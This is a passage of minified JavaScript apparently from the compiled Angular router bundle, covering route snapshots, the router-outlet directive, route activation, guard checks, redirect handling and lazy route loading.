this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=this.params.pipe((0,Q.U)(A=>Dt(A)))),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=this.queryParams.pipe((0,Q.U)(A=>Dt(A)))),this._queryParamMap}toString(){return this.snapshot?this.snapshot.toString():`Future(${this._futureSnapshot})`}}function Zn(M,A="emptyOnly"){const p=M.pathFromRoot;let V=0;if("always"!==A)for(V=p.length-1;V>=1;){const ne=p[V],He=p[V-1];if(ne.routeConfig&&""===ne.routeConfig.path)V--;else{if(He.component)break;V--}}return function Hi(M){return M.reduce((A,p)=>({params:{...A.params,...p.params},data:{...A.data,...p.data},resolve:{...p.data,...A.resolve,...p.routeConfig?.data,...p._resolvedData}}),{params:{},data:{},resolve:{}})}(p.slice(V))}class f2{get title(){return this.data?.[Je]}constructor(A,p,V,ne,He,tt,Lt,$t,d1,f1,q1){this.url=A,this.params=p,this.queryParams=V,this.fragment=ne,this.data=He,this.outlet=tt,this.component=Lt,this.routeConfig=$t,this._urlSegment=d1,this._lastPathIndex=f1,this._resolve=q1}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=Dt(this.params)),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=Dt(this.queryParams)),this._queryParamMap}toString(){return`Route(url:\'${this.url.map(V=>V.toString()).join("/")}\', path:\'${this.routeConfig?this.routeConfig.path:""}\')`}}class Vi extends Qi{constructor(A,p){super(p),this.url=A,p2(this,p)}toString(){return x2(this._root)}}function p2(M,A){A.value._routerState=M,A.children.forEach(p=>p2(M,p))}function x2(M){const A=M.children.length>0?` { ${M.children.map(x2).join(", ")} } `:"";return`${M.value}${A}`}function yi(M){if(M.snapshot){const A=M.snapshot,p=M._futureSnapshot;M.snapshot=p,te(A.queryParams,p.queryParams)||M.queryParams.next(p.queryParams),A.fragment!==p.fragment&&M.fragment.next(p.fragment),te(A.params,p.params)||M.params.next(p.params),function Ie(M,A){if(M.length!==A.length)return!1;for(let p=0;p<M.length;++p)if(!te(M[p],A[p]))return!1;return!0}(A.url,p.url)||M.url.next(p.url),te(A.data,p.data)||M.data.next(p.data)}else M.snapshot=M._futureSnapshot,M.data.next(M._futureSnapshot.data)}function Bi(M,A){const p=te(M.params,A.params)&&function Re(M,A){return Ue(M,A)&&M.every((p,V)=>te(p.parameters,A[V].parameters))}(M.url,A.url);return p&&!(!M.parent!=!A.parent)&&(!M.parent||Bi(M.parent,A.parent))}function bi(M,A,p){if(p&&M.shouldReuseRoute(A.value,p.value.snapshot)){const V=p.value;V._futureSnapshot=A.value;const ne=function mn(M,A,p){return A.children.map(V=>{for(const ne of p.children)if(M.shouldReuseRoute(V.value,ne.value.snapshot))return bi(M,V,ne);return bi(M,V)})}(M,A,p);return new Kn(V,ne)}{if(M.shouldAttach(A.value)){const He=M.retrieve(A.value);if(null!==He){const tt=He.route;return tt.value._futureSnapshot=A.value,tt.children=A.children.map(Lt=>bi(M,Lt)),tt}}const V=function ai(M){return new ei(new u.X(M.url),new u.X(M.params),new u.X(M.queryParams),new u.X(M.fragment),new u.X(M.data),M.outlet,M.component,M)}(A.value),ne=A.children.map(He=>bi(M,He));return new Kn(V,ne)}}const jn="ngNavigationCancelingError";function fi(M,A){const{redirectTo:p,navigationBehaviorOptions:V}=vt(A)?{redirectTo:A,navigationBehaviorOptions:void 0}:A,ne=Ui(!1,0,A);return ne.url=p,ne.navigationBehaviorOptions=V,ne}function Ui(M,A,p){const V=new Error("NavigationCancelingError: "+(M||""));return V[jn]=!0,V.cancellationCode=A,p&&(V.url=p),V}function o2(M){return Li(M)&&vt(M.url)}function Li(M){return M&&M[jn]}class ki{constructor(){this.outlet=null,this.route=null,this.resolver=null,this.injector=null,this.children=new Ci,this.attachRef=null}}let Ci=(()=>{class M{constructor(){this.contexts=new Map}onChildOutletCreated(p,V){const ne=this.getOrCreateContext(p);ne.outlet=V,this.contexts.set(p,ne)}onChildOutletDestroyed(p){const V=this.getContext(p);V&&(V.outlet=null,V.attachRef=null)}onOutletDeactivated(){const p=this.contexts;return this.contexts=new Map,p}onOutletReAttached(p){this.contexts=p}getOrCreateContext(p){let V=this.getContext(p);return V||(V=new ki,this.contexts.set(p,V)),V}getContext(p){return this.contexts.get(p)||null}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();const ti=!1;let Oi=(()=>{class M{constructor(){this.activated=null,this._activatedRoute=null,this.name=ct,this.activateEvents=new n.vpe,this.deactivateEvents=new n.vpe,this.attachEvents=new n.vpe,this.detachEvents=new n.vpe,this.parentContexts=(0,n.f3M)(Ci),this.location=(0,n.f3M)(n.s_b),this.changeDetector=(0,n.f3M)(n.sBO),this.environmentInjector=(0,n.f3M)(n.lqb)}ngOnChanges(p){if(p.name){const{firstChange:V,previousValue:ne}=p.name;if(V)return;this.isTrackedInParentContexts(ne)&&(this.deactivate(),this.parentContexts.onChildOutletDestroyed(ne)),this.initializeOutletWithName()}}ngOnDestroy(){this.isTrackedInParentContexts(this.name)&&this.parentContexts.onChildOutletDestroyed(this.name)}isTrackedInParentContexts(p){return this.parentContexts.getContext(p)?.outlet===this}ngOnInit(){this.initializeOutletWithName()}initializeOutletWithName(){if(this.parentContexts.onChildOutletCreated(this.name,this),this.activated)return;const p=this.parentContexts.getContext(this.name);p?.route&&(p.attachRef?this.attach(p.attachRef,p.route):this.activateWith(p.route,p.injector))}get isActivated(){return!!this.activated}get component(){if(!this.activated)throw new n.vHH(4012,ti);return this.activated.instance}get activatedRoute(){if(!this.activated)throw new n.vHH(4012,ti);return this._activatedRoute}get activatedRouteData(){return this._activatedRoute?this._activatedRoute.snapshot.data:{}}detach(){if(!this.activated)throw new n.vHH(4012,ti);this.location.detach();const p=this.activated;return this.activated=null,this._activatedRoute=null,this.detachEvents.emit(p.instance),p}attach(p,V){this.activated=p,this._activatedRoute=V,this.location.insert(p.hostView),this.attachEvents.emit(p.instance)}deactivate(){if(this.activated){const p=this.component;this.activated.destroy(),this.activated=null,this._activatedRoute=null,this.deactivateEvents.emit(p)}}activateWith(p,V){if(this.isActivated)throw new n.vHH(4013,ti);this._activatedRoute=p;const ne=this.location,tt=p.snapshot.component,Lt=this.parentContexts.getOrCreateContext(this.name).children,$t=new Xi(p,Lt,ne.injector);if(V&&function bn(M){return!!M.resolveComponentFactory}(V)){const d1=V.resolveComponentFactory(tt);this.activated=ne.createComponent(d1,ne.length,$t)}else this.activated=ne.createComponent(tt,{index:ne.length,injector:$t,environmentInjector:V??this.environmentInjector});this.changeDetector.markForCheck(),this.activateEvents.emit(this.activated.instance)}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275dir=n.lG2({type:M,selectors:[["router-outlet"]],inputs:{name:"name"},outputs:{activateEvents:"activate",deactivateEvents:"deactivate",attachEvents:"attach",detachEvents:"detach"},exportAs:["outlet"],standalone:!0,features:[n.TTD]}),M})();class Xi{constructor(A,p,V){this.route=A,this.childContexts=p,this.parent=V}get(A,p){return A===ei?this.route:A===Ci?this.childContexts:this.parent.get(A,p)}}let Gi=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275cmp=n.Xpm({type:M,selectors:[["ng-component"]],standalone:!0,features:[n.jDz],decls:1,vars:0,template:function(p,V){1&p&&n._UZ(0,"router-outlet")},dependencies:[Oi],encapsulation:2}),M})();function un(M,A){return M.providers&&!M._injector&&(M._injector=(0,n.MMx)(M.providers,A,`Route: ${M.path}`)),M._injector??A}function v2(M){const A=M.children&&M.children.map(v2),p=A?{...M,children:A}:{...M};return!p.component&&!p.loadComponent&&(A||p.loadChildren)&&p.outlet&&p.outlet!==ct&&(p.component=Gi),p}function xn(M){return M.outlet||ct}function D2(M,A){const p=M.filter(V=>xn(V)===A);return p.push(...M.filter(V=>xn(V)!==A)),p}function Qn(M){if(!M)return null;if(M.routeConfig?._injector)return M.routeConfig._injector;for(let A=M.parent;A;A=A.parent){const p=A.routeConfig;if(p?._loadedInjector)return p._loadedInjector;if(p?._injector)return p._injector}return null}class c2{constructor(A,p,V,ne){this.routeReuseStrategy=A,this.futureState=p,this.currState=V,this.forwardEvent=ne}activate(A){const p=this.futureState._root,V=this.currState?this.currState._root:null;this.deactivateChildRoutes(p,V,A),yi(this.futureState.root),this.activateChildRoutes(p,V,A)}deactivateChildRoutes(A,p,V){const ne=Ti(p);A.children.forEach(He=>{const tt=He.value.outlet;this.deactivateRoutes(He,ne[tt],V),delete ne[tt]}),ie(ne,(He,tt)=>{this.deactivateRouteAndItsChildren(He,V)})}deactivateRoutes(A,p,V){const ne=A.value,He=p?p.value:null;if(ne===He)if(ne.component){const tt=V.getContext(ne.outlet);tt&&this.deactivateChildRoutes(A,p,tt.children)}else this.deactivateChildRoutes(A,p,V);else He&&this.deactivateRouteAndItsChildren(p,V)}deactivateRouteAndItsChildren(A,p){A.value.component&&this.routeReuseStrategy.shouldDetach(A.value.snapshot)?this.detachAndStoreRouteSubtree(A,p):this.deactivateRouteAndOutlet(A,p)}detachAndStoreRouteSubtree(A,p){const V=p.getContext(A.value.outlet),ne=V&&A.value.component?V.children:p,He=Ti(A);for(const tt of Object.keys(He))this.deactivateRouteAndItsChildren(He[tt],ne);if(V&&V.outlet){const tt=V.outlet.detach(),Lt=V.children.onOutletDeactivated();this.routeReuseStrategy.store(A.value.snapshot,{componentRef:tt,route:A,contexts:Lt})}}deactivateRouteAndOutlet(A,p){const V=p.getContext(A.value.outlet),ne=V&&A.value.component?V.children:p,He=Ti(A);for(const tt of Object.keys(He))this.deactivateRouteAndItsChildren(He[tt],ne);V&&(V.outlet&&(V.outlet.deactivate(),V.children.onOutletDeactivated()),V.attachRef=null,V.resolver=null,V.route=null)}activateChildRoutes(A,p,V){const ne=Ti(p);A.children.forEach(He=>{this.activateRoutes(He,ne[He.value.outlet],V),this.forwardEvent(new dn(He.value.snapshot))}),A.children.length&&this.forwardEvent(new ln(A.value.snapshot))}activateRoutes(A,p,V){const ne=A.value,He=p?p.value:null;if(yi(ne),ne===He)if(ne.component){const tt=V.getOrCreateContext(ne.outlet);this.activateChildRoutes(A,p,tt.children)}else this.activateChildRoutes(A,p,V);else if(ne.component){const tt=V.getOrCreateContext(ne.outlet);if(this.routeReuseStrategy.shouldAttach(ne.snapshot)){const Lt=this.routeReuseStrategy.retrieve(ne.snapshot);this.routeReuseStrategy.store(ne.snapshot,null),tt.children.onOutletReAttached(Lt.contexts),tt.attachRef=Lt.componentRef,tt.route=Lt.route.value,tt.outlet&&tt.outlet.attach(Lt.componentRef,Lt.route.value),yi(Lt.route.value),this.activateChildRoutes(A,null,tt.children)}else{const Lt=Qn(ne.snapshot),$t=Lt?.get(n._Vd)??null;tt.attachRef=null,tt.route=ne,tt.resolver=$t,tt.injector=Lt,tt.outlet&&tt.outlet.activateWith(ne,tt.injector),this.activateChildRoutes(A,null,tt.children)}}else this.activateChildRoutes(A,null,V)}}class ye{constructor(A){this.path=A,this.route=this.path[this.path.length-1]}}class st{constructor(A,p){this.component=A,this.route=p}}function I(M,A,p){const V=M._root;return ue(V,A?A._root:null,p,[V.value])}function T(M,A){const p=Symbol(),V=A.get(M,p);return V===p?"function"!=typeof M||(0,n.Z0I)(M)?A.get(M):M:V}function ue(M,A,p,V,ne={canDeactivateChecks:[],canActivateChecks:[]}){const He=Ti(A);return M.children.forEach(tt=>{(function gt(M,A,p,V,ne={canDeactivateChecks:[],canActivateChecks:[]}){const He=M.value,tt=A?A.value:null,Lt=p?p.getContext(M.value.outlet):null;if(tt&&He.routeConfig===tt.routeConfig){const $t=function Ot(M,A,p){if("function"==typeof p)return p(M,A);switch(p){case"pathParamsChange":return!Ue(M.url,A.url);case"pathParamsOrQueryParamsChange":return!Ue(M.url,A.url)||!te(M.queryParams,A.queryParams);case"always":return!0;case"paramsOrQueryParamsChange":return!Bi(M,A)||!te(M.queryParams,A.queryParams);default:return!Bi(M,A)}}(tt,He,He.routeConfig.runGuardsAndResolvers);$t?ne.canActivateChecks.push(new ye(V)):(He.data=tt.data,He._resolvedData=tt._resolvedData),ue(M,A,He.component?Lt?Lt.children:null:p,V,ne),$t&&Lt&&Lt.outlet&&Lt.outlet.isActivated&&ne.canDeactivateChecks.push(new st(Lt.outlet.component,tt))}else tt&&Jt(A,Lt,ne),ne.canActivateChecks.push(new ye(V)),ue(M,null,He.component?Lt?Lt.children:null:p,V,ne)})(tt,He[tt.value.outlet],p,V.concat([tt.value]),ne),delete He[tt.value.outlet]}),ie(He,(tt,Lt)=>Jt(tt,p.getContext(Lt),ne)),ne}function Jt(M,A,p){const V=Ti(M),ne=M.value;ie(V,(He,tt)=>{Jt(He,ne.component?A?A.children.getContext(tt):null:A,p)}),p.canDeactivateChecks.push(new st(ne.component&&A&&A.outlet&&A.outlet.isActivated?A.outlet.component:null,ne))}function Tt(M){return"function"==typeof M}function qn(M){return M instanceof f||"EmptyError"===M?.name}const xi=Symbol("INITIAL_VALUE");function Wn(){return(0,oe.w)(M=>(0,E.aj)(M.map(A=>A.pipe((0,Ce.q)(1),(0,k.O)(xi)))).pipe((0,Q.U)(A=>{for(const p of A)if(!0!==p){if(p===xi)return xi;if(!1===p||p instanceof Fe)return p}return!0}),(0,K.h)(A=>A!==xi),(0,Ce.q)(1)))}function Ut(M){return(0,g.z)((0,Ke.b)(A=>{if(vt(A))throw fi(0,A)}),(0,Q.U)(A=>!0===A))}const l1={matched:!1,consumedSegments:[],remainingSegments:[],parameters:{},positionalParamSegments:{}};function F1(M,A,p,V,ne){const He=A1(M,A,p);return He.matched?function o1(M,A,p,V){const ne=A.canMatch;if(!ne||0===ne.length)return(0,s.of)(!0);const He=ne.map(tt=>{const Lt=T(tt,M);return Xe(function Dn(M){return M&&Tt(M.canMatch)}(Lt)?Lt.canMatch(A,p):M.runInContext(()=>Lt(A,p)))});return(0,s.of)(He).pipe(Wn(),Ut())}(V=un(A,V),A,p).pipe((0,Q.U)(tt=>!0===tt?He:{...l1})):(0,s.of)(He)}function A1(M,A,p){if(""===A.path)return"full"===A.pathMatch&&(M.hasChildren()||p.length>0)?{...l1}:{matched:!0,consumedSegments:[],remainingSegments:p,parameters:{},positionalParamSegments:{}};const ne=(A.matcher||Pt)(p,M,A);if(!ne)return{...l1};const He={};ie(ne.posParams,(Lt,$t)=>{He[$t]=Lt.path});const tt=ne.consumed.length>0?{...He,...ne.consumed[ne.consumed.length-1].parameters}:He;return{matched:!0,consumedSegments:ne.consumed,remainingSegments:p.slice(ne.consumed.length),parameters:tt,positionalParamSegments:ne.posParams??{}}}function C1(M,A,p,V){if(p.length>0&&function tn(M,A,p){return p.some(V=>En(M,A,V)&&xn(V)!==ct)}(M,p,V)){const He=new be(A,function Q1(M,A,p,V){const ne={};ne[ct]=V,V._sourceSegment=M,V._segmentIndexShift=A.length;for(const He of p)if(""===He.path&&xn(He)!==ct){const tt=new be([],{});tt._sourceSegment=M,tt._segmentIndexShift=A.length,ne[xn(He)]=tt}return ne}(M,A,V,new be(p,M.children)));return He._sourceSegment=M,He._segmentIndexShift=A.length,{segmentGroup:He,slicedSegments:[]}}if(0===p.length&&function Tn(M,A,p){return p.some(V=>En(M,A,V))}(M,p,V)){const He=new be(M.segments,function S1(M,A,p,V,ne){const He={};for(const tt of V)if(En(M,p,tt)&&!ne[xn(tt)]){const Lt=new be([],{});Lt._sourceSegment=M,Lt._segmentIndexShift=A.length,He[xn(tt)]=Lt}return{...ne,...He}}(M,A,p,V,M.children));return He._sourceSegment=M,He._segmentIndexShift=A.length,{segmentGroup:He,slicedSegments:p}}const ne=new be(M.segments,M.children);return ne._sourceSegment=M,ne._segmentIndexShift=A.length,{segmentGroup:ne,slicedSegments:p}}function En(M,A,p){return(!(M.hasChildren()||A.length>0)||"full"!==p.pathMatch)&&""===p.path}function wn(M,A,p,V){return!!(xn(M)===V||V!==ct&&En(A,p,M))&&("**"===M.path||A1(A,M,p).matched)}function e2(M,A,p){return 0===A.length&&!M.children[p]}const ni=!1;class Un{constructor(A){this.segmentGroup=A||null}}class hn{constructor(A){this.urlTree=A}}function zn(M){return(0,C._)(new Un(M))}function $1(M){return(0,C._)(new hn(M))}class Y2{constructor(A,p,V,ne,He){this.injector=A,this.configLoader=p,this.urlSerializer=V,this.urlTree=ne,this.config=He,this.allowRedirects=!0}apply(){const A=C1(this.urlTree.root,[],[],this.config).segmentGroup,p=new be(A.segments,A.children);return this.expandSegmentGroup(this.injector,this.config,p,ct).pipe((0,Q.U)(He=>this.createUrlTree(on(He),this.urlTree.queryParams,this.urlTree.fragment))).pipe((0,dt.K)(He=>{if(He instanceof hn)return this.allowRedirects=!1,this.match(He.urlTree);throw He instanceof Un?this.noMatchError(He):He}))}match(A){return this.expandSegmentGroup(this.injector,this.config,A.root,ct).pipe((0,Q.U)(ne=>this.createUrlTree(on(ne),A.queryParams,A.fragment))).pipe((0,dt.K)(ne=>{throw ne instanceof Un?this.noMatchError(ne):ne}))}noMatchError(A){return new n.vHH(4002,ni)}createUrlTree(A,p,V){const ne=P1(A);return new Fe(ne,p,V)}expandSegmentGroup(A,p,V,ne){return 0===V.segments.length&&V.hasChildren()?this.expandChildren(A,p,V).pipe((0,Q.U)(He=>new be([],He))):this.expandSegment(A,V,p,V.segments,ne,!0)}expandChildren(A,p,V){const ne=[];for(const He of Object.keys(V.children))"primary"===He?ne.unshift(He):ne.push(He);return(0,a.D)(ne).pipe((0,qe.b)(He=>{const tt=V.children[He],Lt=D2(p,He);return this.expandSegmentGroup(A,Lt,tt,He).pipe((0,Q.U)($t=>({segment:$t,outlet:He})))}),bt((He,tt)=>(He[tt.outlet]=tt.segment,He),{}),Be())}expandSegment(A,p,V,ne,He,tt){return(0,a.D)(V).pipe((0,qe.b)(Lt=>this.expandSegmentAgainstRoute(A,p,V,Lt,ne,He,tt).pipe((0,dt.K)(d1=>{if(d1 instanceof Un)return(0,s.of)(null);throw d1}))),Ye(Lt=>!!Lt),(0,dt.K)((Lt,$t)=>{if(qn(Lt))return e2(p,ne,He)?(0,s.of)(new be([],{})):zn(p);throw Lt}))}expandSegmentAgainstRoute(A,p,V,ne,He,tt,Lt){return wn(ne,p,He,tt)?void 0===ne.redirectTo?this.matchSegmentAgainstRoute(A,p,ne,He,tt):Lt&&this.allowRedirects?this.expandSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt):zn(p):zn(p)}expandSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt){return"**"===ne.path?this.expandWildCardWithParamsAgainstRouteUsingRedirect(A,V,ne,tt):this.expandRegularSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt)}expandWildCardWithParamsAgainstRouteUsingRedirect(A,p,V,ne){const He=this.applyRedirectCommands([],V.redirectTo,{});return V.redirectTo.startsWith("/")?$1(He):this.lineralizeSegments(V,He).pipe((0,se.zg)(tt=>{const Lt=new be(tt,{});return this.expandSegment(A,Lt,p,tt,ne,!1)}))}expandRegularSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt){const{matched:Lt,consumedSegments:$t,remainingSegments:d1,positionalParamSegments:f1}=A1(p,ne,He);if(!Lt)return zn(p);const q1=this.applyRedirectCommands($t,ne.redirectTo,f1);return ne.redirectTo.startsWith("/")?$1(q1):this.lineralizeSegments(ne,q1).pipe((0,se.zg)(On=>this.expandSegment(A,p,V,On.concat(d1),tt,!1)))}matchSegmentAgainstRoute(A,p,V,ne,He){return"**"===V.path?(A=un(V,A),V.loadChildren?(V._loadedRoutes?(0,s.of)({routes:V._loadedRoutes,injector:V._loadedInjector}):this.configLoader.loadChildren(A,V)).pipe((0,Q.U)(Lt=>(V._loadedRoutes=Lt.routes,V._loadedInjector=Lt.injector,new be(ne,{})))):(0,s.of)(new be(ne,{}))):F1(p,V,ne,A).pipe((0,oe.w)(({matched:tt,consumedSegments:Lt,remainingSegments:$t})=>tt?this.getChildConfig(A=V._injector??A,V,ne).pipe((0,se.zg)(f1=>{const q1=f1.injector??A,On=f1.routes,{segmentGroup:A2,slicedSegments:Yi}=C1(p,Lt,$t,On),P2=new be(A2.segments,A2.children);if(0===Yi.length&&P2.hasChildren())return this.expandChildren(q1,On,P2).pipe((0,Q.U)(Yr=>new be(Lt,Yr)));if(0===On.length&&0===Yi.length)return(0,s.of)(new be(Lt,{}));const r2=xn(V)===He;return this.expandSegment(q1,P2,On,Yi,r2?ct:He,!0).pipe((0,Q.U)(S2=>new be(Lt.concat(S2.segments),S2.children)))})):zn(p)))}getChildConfig(A,p,V){return p.children?(0,s.of)({routes:p.children,injector:A}):p.loadChildren?void 0!==p._loadedRoutes?(0,s.of)({routes:p._loadedRoutes,injector:p._loadedInjector}):function Ft(M,A,p,V){const ne=A.canLoad;if(void 0===ne||0===ne.length)return(0,s.of)(!0);const He=ne.map(tt=>{const Lt=T(tt,M);return Xe(function O1(M){return M&&Tt(M.canLoad)}(Lt)?Lt.canLoad(A,p):M.runInContext(()=>Lt(A,p)))});return(0,s.of)(He).pipe(Wn(),Ut())}(A,p,V).pipe((0,se.zg)(ne=>ne?this.configLoader.loadChildren(A,p).pipe((0,Ke.b)(He=>{p._loadedRoutes=He.routes,p._loadedInjector=He.injector})):function z2(M){return(0,C._)(Ui(ni,3))}())):(0,s.of)({routes:[],injector:A})}lineralizeSegments(A,p){let V=[],ne=p.root;for(;;){if(V=V.concat(ne.segments),0===ne.numberOfChildren)return(0,s.of)(V);if(ne.numberOfChildren>1||!ne.children[ct])return A.redirectTo,(0,C._)(new n.vHH(4e3,ni));ne=ne.children[ct]}}applyRedirectCommands(A,p,V){return this.applyRedirectCreateUrlTree(p,this.urlSerializer.parse(p),A,V)}applyRedirectCreateUrlTree(A,p,V,ne){const He=this.createSegmentGroup(A,p.root,V,ne);return new Fe(He,this.createQueryParams(p.queryParams,this.urlTree.queryParams),p.fragment)}createQueryParams(A,p){const V={};return ie(A,(ne,He)=>{if("string"==typeof ne&&ne.startsWith(":")){const Lt=ne.substring(1);V[He]=p[Lt]}else V[He]=ne}),V}createSegmentGroup(A,p,V,ne){const He=this.createSegments(A,p.segments,V,ne);let tt={};return ie(p.children,(Lt,$t)=>{tt[$t]=this.createSegmentGroup(A,Lt,V,ne)}),new be(He,tt)}createSegments(A,p,V,ne){return p.map(He=>He.path.startsWith(":")?this.findPosParam(A,He,ne):this.findOrReturn(He,V))}findPosParam(A,p,V){const ne=V[p.path.substring(1)];if(!ne)throw new n.vHH(4001,ni);return ne}findOrReturn(A,p){let V=0;for(const ne of p){if(ne.path===A.path)return p.splice(V),ne;V++}return A}}class y1{}class N{constructor(A,p,V,ne,He,tt,Lt){this.injector=A,this.rootComponentType=p,this.config=V,this.urlTree=ne,this.url=He,this.paramsInheritanceStrategy=tt,this.urlSerializer=Lt}recognize(){const A=C1(this.urlTree.root,[],[],this.config.filter(p=>void 0===p.redirectTo)).segmentGroup;return this.processSegmentGroup(this.injector,this.config,A,ct).pipe((0,Q.U)(p=>{if(null===p)return null;const V=new f2([],Object.freeze({}),Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,{},ct,this.rootComponentType,null,this.urlTree.root,-1,{}),ne=new Kn(V,p),He=new Vi(this.url,ne);return this.inheritParamsAndData(He._root),He}))}inheritParamsAndData(A){const p=A.value,V=Zn(p,this.paramsInheritanceStrategy);p.params=Object.freeze(V.params),p.data=Object.freeze(V.data),A.children.forEach(ne=>this.inheritParamsAndData(ne))}processSegmentGroup(A,p,V,ne){return 0===V.segments.length&&V.hasChildren()?this.processChildren(A,p,V):this.processSegment(A,p,V,V.segments,ne)}processChildren(A,p,V){return(0,a.D)(Object.keys(V.children)).pipe((0,qe.b)(ne=>{const He=V.children[ne],tt=D2(p,ne);return this.processSegmentGroup(A,tt,He,ne)}),bt((ne,He)=>ne&&He?(ne.push(...He),ne):null),(0,pe.o)(ne=>null!==ne),q(null),Be(),(0,Q.U)(ne=>{if(null===ne)return null;const He=ht(ne);return function he(M){M.sort((A,p)=>A.value.outlet===ct?-1:p.value.outlet===ct?1:A.value.outlet.localeCompare(p.value.outlet))}(He),He}))}processSegment(A,p,V,ne,He){return(0,a.D)(p).pipe((0,qe.b)(tt=>this.processSegmentAgainstRoute(tt._injector??A,tt,V,ne,He)),Ye(tt=>!!tt),(0,dt.K)(tt=>{if(qn(tt))return e2(V,ne,He)?(0,s.of)([]):(0,s.of)(null);throw tt}))}processSegmentAgainstRoute(A,p,V,ne,He){if(p.redirectTo||!wn(p,V,ne,He))return(0,s.of)(null);let tt;if("**"===p.path){const Lt=ne.length>0?b(ne).parameters:{},$t=s1(V)+ne.length,d1=new f2(ne,Lt,Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,g1(p),xn(p),p.component??p._loadedComponent??null,p,Yt(V),$t,B1(p));tt=(0,s.of)({snapshot:d1,consumedSegments:[],remainingSegments:[]})}else tt=F1(V,p,ne,A).pipe((0,Q.U)(({matched:Lt,consumedSegments:$t,remainingSegments:d1,parameters:f1})=>{if(!Lt)return null;const q1=s1(V)+$t.length;return{snapshot:new f2($t,f1,Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,g1(p),xn(p),p.component??p._loadedComponent??null,p,Yt(V),q1,B1(p)),consumedSegments:$t,remainingSegments:d1}}));return tt.pipe((0,oe.w)(Lt=>{if(null===Lt)return(0,s.of)(null);const{snapshot:$t,consumedSegments:d1,remainingSegments:f1}=Lt;A=p._injector??A;const q1=p._loadedInjector??A,On=function W(M){return M.children?M.children:M.loadChildren?M._loadedRoutes:[]}(p),{segmentGroup:A2,slicedSegments:Yi}=C1(V,d1,f1,On.filter(r2=>void 0===r2.redirectTo));if(0===Yi.length&&A2.hasChildren())return this.processChildren(q1,On,A2).pipe((0,Q.U)(r2=>null===r2?null:[new Kn($t,r2)]));if(0===On.length&&0===Yi.length)return(0,s.of)([new Kn($t,[])]);const P2=xn(p)===He;return this.processSegment(q1,On,A2,Yi,P2?ct:He).pipe((0,Q.U)(r2=>null===r2?null:[new Kn($t,r2)]))}))}}function Ve(M){const A=M.value.routeConfig;return A&&""===A.path&&void 0===A.redirectTo}function ht(M){const A=[],p=new Set;for(const V of M){if(!Ve(V)){A.push(V);continue}const ne=A.find(He=>V.value.routeConfig===He.value.routeConfig);void 0!==ne?(ne.children.push(...V.children),p.add(ne)):A.push(V)}for(const V of p){const ne=ht(V.children);A.push(new Kn(V.value,ne))}return A.filter(V=>!p.has(V))}function Yt(M){let A=M;for(;A._sourceSegment;)A=A._sourceSegment;return A}function s1(M){let A=M,p=A._segmentIndexShift??0;for(;A._sourceSegment;)A=A._sourceSegment,p+=A._segmentIndexShift??0;return p-1}function g1(M){return M.data||{}}function B1(M){return M.resolve||{}}function t2(M){return"string"==typeof M.title||null===M.title}function mi(M){return(0,oe.w)(A=>{const p=M(A);return p?(0,a.D)(p).pipe((0,Q.U)(()=>A)):(0,s.of)(A)})}const Ai=new n.OlP("ROUTES");let ji=(()=>{class M{constructor(){this.componentLoaders=new WeakMap,this.childrenLoaders=new WeakMap,this.compiler=(0,n.f3M)(n.Sil)}loadComponent(p){if(this.componentLoaders.get(p))return this.componentLoaders.get(p);if(p._loadedComponent)return(0,s.of)(p._loadedComponent);this.onLoadStartListener&&this.onLoadStartListener(p);const V=Xe(p.loadComponent()).pipe((0,Q.U)($2),(0,Ke.b)(He=>{this.onLoadEndListener&&this.onLoadEndListener(p),p._loadedComponent=He}),(0,w.x)(()=>{this.componentLoaders.delete(p)})),ne=new j.c(V,()=>new U.xQ).pipe((0,R.x)());return this.componentLoaders.set(p,ne),ne}loadChildren(p,V){if(this.childrenLoaders.get(V))return this.childrenLoaders.get(V);if(V._loadedRoutes)return(0,s.of)({routes:V._loadedRoutes,injector:V._loadedInjector});this.onLoadStartListener&&this.onLoadStartListener(V);const He=this.loadModuleFactoryOrRoutes(V.loadChildren).pipe((0,Q.U)(Lt=>{this.onLoadEndListener&&this.onLoadEndListener(V);let $t,d1,f1=!1;Array.isArray(Lt)?d1=Lt:($t=Lt.create(p).injector,d1=m($t.get(Ai,[],n.XFs.Self|n.XFs.Optional)));return{routes:d1.map(v2),injector:$t}}),(0,w.x)(()=>{this.childrenLoaders.delete(V)})),tt=new j.c(He,()=>new U.xQ).pipe((0,R.x)());return this.childrenLoaders.set(V,tt),tt}loadModuleFactoryOrRoutes(p){return Xe(p()).pipe((0,Q.U)($2),(0,se.zg)(V=>V instanceof n.YKP||Array.isArray(V)?(0,s.of)(V):(0,a.D)(this.compiler.compileModuleAsync(V))))}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();function $2(M){return function or(M){return M&&"object"==typeof M&&"default"in M}(M)?M.default:M}let K2=(()=>{class M{get hasRequestedNavigation(){return 0!==this.navigationId}constructor(){this.currentNavigation=null,this.lastSuccessfulNavigation=null,this.events=new U.xQ,this.configLoader=(0,n.f3M)(ji),this.environmentInjector=(0,n.f3M)(n.lqb),this.urlSerializer=(0,n.f3M)(J),this.rootContexts=(0,n.f3M)(Ci),this.navigationId=0,this.afterPreactivation=()=>(0,s.of)(void 0),this.rootComponentType=null,this.configLoader.onLoadEndListener=ne=>this.events.next(new _i(ne)),this.configLoader.onLoadStartListener=ne=>this.events.next(new ri(ne))}complete(){this.transitions?.complete()}handleNavigationRequest(p){const 